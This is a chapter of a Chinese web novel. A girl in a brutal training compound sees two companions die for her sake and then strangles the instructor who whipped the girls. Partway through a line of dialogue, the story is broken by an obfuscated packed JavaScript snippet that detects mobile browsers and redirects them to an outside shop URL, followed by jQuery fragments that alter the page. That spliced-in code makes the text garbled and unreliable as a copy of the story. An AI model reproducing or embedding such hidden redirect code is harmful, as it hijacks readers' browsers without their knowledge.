17. 我救我自己
作品:《抱得美人皇帝归》 阮息颤抖着手摸上了阿穗的脉,芤脉,血尽,气快将绝了。
至于她身下的血,竟然只是来癸水了。
每天这么高强度的训练,她居然会来癸水?
“阿蝉,你来过癸水吗?”
阮息点了点头,又听阿穗说:“我还是第一次来呢……今早刚发现,我很慌,不知道该怎么办,就用一件旧衣服垫着……”
“以前……爹说女子开始来这个就变得不干净了……”
阮息沉声说:“别听你爹的。”
“那你为什么离我那么远啊……嫌我脏吗?”
阮息一直握着她的手,看着她满身的伤,仿佛碰一下就会死,阮息不知道还能怎么亲近她。
阿穗又说:“我好冷,浑身都冷,你能不能,抱一下我……”
阮息轻轻将她扶起来,欲将她抱进怀里,阿穗却不知突然哪来的力气,伸手面对面地抱住了她。
“我注定是要吃一辈子苦,当一辈子人下人的,阿蝉,我不知道你叫什么……从哪里来……但我知道,你不会一直在这里,我想助你,一臂之力……”
“噗嗤——”
那是匕首插入血肉的声音。
阮息耳朵翁鸣,阿绾死前与阿欣拥抱的那一幕回闪在她脑海。
她的背上涌上一股温热。
阿穗像失了骨头一般,从阮息的肩头滑落下去。
阮息捧住她的脸,阿穗却还在吐血。
那张神态与轻轻极相似的脸,很快便在阮息掌中失去了生机。
我是不祥的。
阮息想。
阮息被带到了一个光线很暗的屋子里。
一张长桌,桌子一边坐着凤铁娘,另一边坐着阮息,阮息身上都是半干的血。
“阿穗怎么死的?”
“我用匕首捅死的。”
“为什么杀了她?”
“她抢我的药用,我凭什么给?”
“用了你多少药?”
“……”
“问你话呢!”
“两瓶以上……”
阮息根本没注意她往阿穗身上倒了几瓶药。
新一次的考核,阮息并没能进去不归坞。
这在她意料之中。
阮息以为,院子里的姑娘会像对待阿欣一样对待她。
但是并没有。
曾向阿欣吐过口水的阿乔,一个长得有些异域风情的漂亮姑娘,试探着问阮息:“阿穗一定是知道自己活不成了,想用自己的命送你走吧……阿绾会不会,也是这样走的?”
我没有回答她,只是在路过她时,捏了捏她的肩膀。
从前阿穗是最喜欢大软的,经常投喂它,阮息反而不怎么需要给它喂食。
但今天阮息回来的时候,在廊下喂大软的人变成了阿娆,她是这院子里最有风情的姑娘,无论是眉眼,还是身段。
她的训练成绩也不好,但教习对她的惩罚总是轻一些,就好像认定了她不是进不归坞的料,默认她这个乖乖女会顺应规则地,在十七岁时进入汀澜坞的前院。
大软不肯吃她手里的东西。
阿娆叹了口气,回头对阮息说:“我从前偶尔给它喂,它都是吃的。动物也通人性,它一定是知道,阿穗不在了,心里难过。”
“它也该难过。”阮息没头没尾地说了一句。
这时,门口来了两个小女孩,局促地站在那里。
十一二岁的年纪,皮肤白,四肢长,脸小五官大,一看就是美人胚子。
她们穿着打补丁的粗布衣裳,背上背着个汀澜坞统一发的包袱。
阿乔招手让她们进来,她们就乖乖把木制名牌递给阿乔,阿乔说他把不要,叫她们随便收着就好。
圆眼睛的名叫阿绵,住进了阿穗住过的屋子。
长眼睛的名叫阿月,住进了阿绾住过的屋子。
直到她们从身边路过,阮息才看清,她们的脸不是一般的白,而是煞白,那应该是在小黑屋里吓出来的。
阮息被阿嫖留堂了,这次是阿嫖主动留下她的。
阿嫖说:“我以为这次你会问我,为什么你没有通过考核的。”
阮息淡漠道:“她只是一个很普通的人,死了也没什么吧,与我也没什么交情,死了还是活着,都激不起什么水花吧。”
阿嫖叹了口气,道:“这里本就是弱肉强食的法外之地,你没必要因为杀了她就自责。”
阮息蹙眉,不耐烦地反问:“你哪里看出来我自责了?”
“你从不这样疾言厉色。”阿嫖十分笃定地说,“她不是你杀的吧?”
阮息冷漠地说:“当然是我杀的。她和我一个死去的朋友长得很像,我从第一次看到她的时候,就很讨厌她。”
“哦?遇到与故人相像的人,不应该爱屋及乌吗?”
阮息轻嗤:“东施效颦罢了。”
室内烛火噼啪爆了一下。
阿嫖看了眼外面的天色,轻声道:“要下雨了,你回去吧。”
阮息本不想留下,这时却也没走。
她疑惑地问了一嘴:“汀澜坞的补货速度这么快吗?”
“嗯……什么?”阿嫖第一时间没反应过来阮息的意思,反应了一下才道,“你说去你们六院的那两个小姑娘吗?其实来到汀澜坞对她们来说也不一定是一件坏事呢,你看她们瘦的……”
阮息想听的不是这个,厌烦地打断了她:“买一个这样的小女孩要多少银子?”
“几贯钱吧,不会超过十贯钱。”
阮息又问:“那卖一个呢?”
阿嫖想了想才道:“……梳拢夜千百贯,若要赎身,最贵的卖过六万贯,最便宜的也有九千贯。但是……”
阮息抢过她的话来说:“但是能被有钱主子高价买走,也是去享福的,总比留在汀澜坞好。”
阿嫖无奈一笑:“不管你认不认,事实就是这样。”
汀澜坞后院里没长成的姑娘都是穷苦出生,个性和容貌却千姿百态,在这样几乎没有成本的训练中,她们能吃苦易知足,具有绝对的服从性。
能从中脱颖而出的,就进入不归坞,汀澜坞有的是钱,就用那钱来真正地开始去培养一个杀手;不幸的就进入前院,去陪客,去取悦一个愿意为你赎身的客人,给汀澜坞带来一大笔收入;更有不幸的,连后院的训练也挨不过,那就去死吧。
阮息淋着小雨回到了小院,毛毛细雨不知不觉地将她的头发和衣裳全浸湿了。
刚推开屋子的门,眼睛还没适应屋里的黑暗,有人便猛地抱住了她的腿。
“阿蝉,你杀了我吧……”
是阿音,她的声音哽咽。
阮息尚未从前一段情绪中缓过来,此时心绪猛地被截断,直感觉心神不安,有点走火入魔那意味。
“阿音,别这样,你快回去。”
她没有多余的心力来安慰阿音,也不觉得阿音是真的要寻死,只觉得她是良心过不去,到她面前来表演一番寻求安慰罢了。
阮息理解,毕竟阿音是个善良的小姑娘。
“大家都知道,阿穗是为我认下偷盗罪名的,我却没有在教习打她的时候挺身而出,她是替我死的。我知道……我知道她死在你屋里是为了让你脱离苦海,我也愿意帮她完成遗愿……我愿意的!”
她说着就拿出了一把匕首,直直地往自己心窝捅。
这样的画面已经在阮息面前上演两次了,她不会再任由第三个人以同样的方式自戕在自己面前了。
阮息一把夺下了那把匕首,将它扔了出去,她使的力气之大,直接将那匕首扎进了墙里,只漏了一个手柄在外面。
“我不需要!”
任她怎么软倒在地上,阮息硬是凭力气将她抓了起来,一把推出了门外,狠狠地掼上了门。
第二天凌晨,鞭子声响时,阮息一拉开门,阿音满身是血的倒在了她腿上。
那一刻,阮息特别恨她们。
恨阿穗,阿绾,阿音。
更觉得无力。
生命对于她们来说,到底算什么?
又是那间暗室。
凤铁娘坐在一边,阮息坐在另一边。
“阿音怎么死的?”
“我不知道。”
“是你杀了她吗?”
“不是我。”
“那她为什么死在你门口。”
“我不知道。”
凤铁娘沉默地看了一会阮息,骂了一句脏话:“他爹的软蛋一个。”
阮息从暗室出来的时候,阿嫖在外面等她。
阮息的声音淡淡的,带着一股死气:“当杀手一定比当妓‖女好吗?”
阿嫖说:“人都想活得有自尊一点。”
阮息鼻腔里发出一声笑:“通缉榜上的罪犯比妓‖女活得更有自尊吗?”
阿嫖却还是那样淡淡的:“当妓‖女就不是罪人了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303599|198609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?”
阮息抬步走了。
阿嫖却笑着冲她的背影说:“我就说,阿穗不会是你杀的。”
阮息确实是想进不归坞的,但绝不是靠这种献祭的方式。
阿穗死了,她因为愧疚和爱屋及乌,情感驱动着她做出了承认杀死她的罪名。
阿音也死了,却让她感到无比荒唐。
是夜,依旧在下着小雨,偶尔会有轻雷自遥远的天边传来。
阮息把匕首从墙里拔了出来。
阿音死在她门口却没有惊动她分毫,让阮息确信了一件事,只要拼命了去做一件事,很难有做不成的。
她是一定要进不归坞的,进不去死也罢。
老天让她重生一回,说不定还会让她重生第二回呢。
教习院是一号院,看起来和她们住的院子没什么区别。
用她教的本事,悄无声息地进了她的屋子。
当凤铁娘醒来的时候,惊恐地发现自己已经被绑在床上了。
“你……你干什么?”
阮息把食指竖在唇中,轻轻地:“嘘——”
凤铁娘就真的安静了下来,她小声地说:“你要是敢杀了我,汀澜坞是不会放过你的。”
阮息冷淡地扯出一个笑:“那都是后话了。”
凤铁娘忽然开始大声喊叫,阮息也没有拦她,只是当着她的面,一遍遍地用她的衣裙擦着手里的匕首。
“其实听了你的故事,对于你会如此残忍地抽死那些女孩,我并不感到意外。”
阮息说这话时,将终于擦得干净到令她满意的匕首背部,放在凤铁娘的脸上蹭了蹭。
“你还是个孩子的时候也被虐待,经历了朋友的献祭,你过不去良心,所以明知道她要死,还是放弃了她的托举。
“没人在意你的善良,她们都在惩罚你。你以及一些和你一样的人,慢慢地在这种环境中长大,学会了她们教给你的,然后彻底忘记了自己曾经对这规则的无比憎恶,欣喜若狂地拿起了鞭子,你终于不再被抽了。
“第一次拿鞭子抽人的时候,你其实也很忐忑吧,直到你看到被抽的那姑娘的脸上,露出了脆弱又惧怕的表情,你心里既激动又害怕,但你知道,你可以随意抽她。
“你们从可怜的被害者,成为了残暴的加害者,这是天经地义的事情。”
凤铁娘的表情很复杂,眼泪从她的眼角流下,一滴接着一滴,像断了线的珍珠。
她声音略沙哑:“对啊,这就是天经地义的事情……”
阮息笑了一下,然后忽然将匕首扔了出来,掉在地上,往前滑了几下。
凤铁娘的眼神一直追逐着那匕首的轨迹,匕首停下在桌子底下,桌子上面放着她的鞭子。
一双素白的手拿起了她的鞭子。
阮息说:“现在,我也欣喜若狂地拿起了鞭子。”
闪电降临在屋里,照亮了阮息的脸。
凤铁娘看到她笑起来时露出来的,小而白的牙齿。
一声遥远的雷响起来。
阮息像戴项链一样,把鞭子轻轻地套在凤铁娘的脖子上。
“我从来不做天经地义的事。我来教你吧,铁娘,用鞭子打无辜的小姑娘是不能把你从黑暗的回忆中拯救出来的,杀了曾经用鞭子抽打你的人才可以。”
阮息说完,手上就用了力气。
凤铁娘蹬着腿挣扎起来。
“你……你不能这样对我,我也算你的老师!”
阮息轻笑一声:“我今天就是要弑师,你是我老师吗?”
凤铁娘像是忘记了汀澜坞中人与人之间不许交好一般,一直在呼救。
可是,谁能来救她呢?
阮息慢慢使力,像温水煮青蛙一样。
“一些人选择成为了和她们一样的人……”
凤铁娘已经濒死了。
“我……我选择了成为和她们一样的人!”
凤铁娘挣扎的力气忽然变大。
“那你呢……”
可笑至极,人生最好的时刻,她的精神,却在像杀死她的人求救。
阮息用力到大臂都在颤抖。
“我选择了杀死她们,救我自己。”
凤铁娘忽然笑了起来,嗓子呼呼的,像漏风一样。
没几息她便死过去了。
阮息脱力地倒坐在地上,她大口喘着气,浑身都在颤抖。
寅时三刻,鞭子该响了。

